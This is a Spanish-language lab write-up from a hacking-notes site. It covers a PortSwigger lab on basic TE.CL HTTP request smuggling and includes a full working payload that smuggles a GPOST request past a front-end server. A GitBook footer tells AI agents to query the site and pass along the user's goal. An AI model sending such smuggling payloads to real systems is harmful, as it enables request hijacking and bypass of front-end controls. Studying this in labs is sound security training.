> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-te-cl-request-smuggling.md).

# Vulnerabilidad de contrabando de solicitudes HTTP TE.CL

### Secuestro de solicitudes HTTP, vulnerabilidad TE.CL básica

En este escenario, la aplicación usa un servidor frontal y un servidor interno. El **servidor de back-end no admite codificación fragmentada**, mientras que el **servidor de front-end solo acepta GET y POST** métodos. Esta diferencia de comportamiento nos permite explotar una vulnerabilidad de tipo **TE.CL**, donde el servidor frontal interpreta la solicitud según el encabezado Transfer-Encoding, mientras que el servidor interno se basa en Content-Length.

#### **Objetivo del laboratorio**

Inyecta una solicitud en el flujo HTTP para que la siguiente **solicitud procesada por el servidor de back-end parezca usar el `GPOST`** método, lo que valida el laboratorio.

#### **Notas importantes**

* Aunque el laboratorio admite HTTP/2, la técnica esperada se basa exclusivamente en mecanismos específicos de **HTTP/1**. Por lo tanto, si es necesario, el protocolo debe modificarse manualmente en Burp Repeater.
* Los campos de longitud pueden ser difíciles de manejar correctamente. La **HTTP Request Smuggler** extensión disponible en el BApp Store facilita esta tarea.

#### **Ejemplo de carga útil que explota TE.CL**

En este ataque, el servidor frontal interpreta el mensaje en modo chunked, mientras que el servidor de back-end calcula el final de la solicitud mediante Content-Length, permitiendo introducir una segunda solicitud:

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="/files/b4ad8cc88a13910ba0dc7c2e6d6c8b96702e7419" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
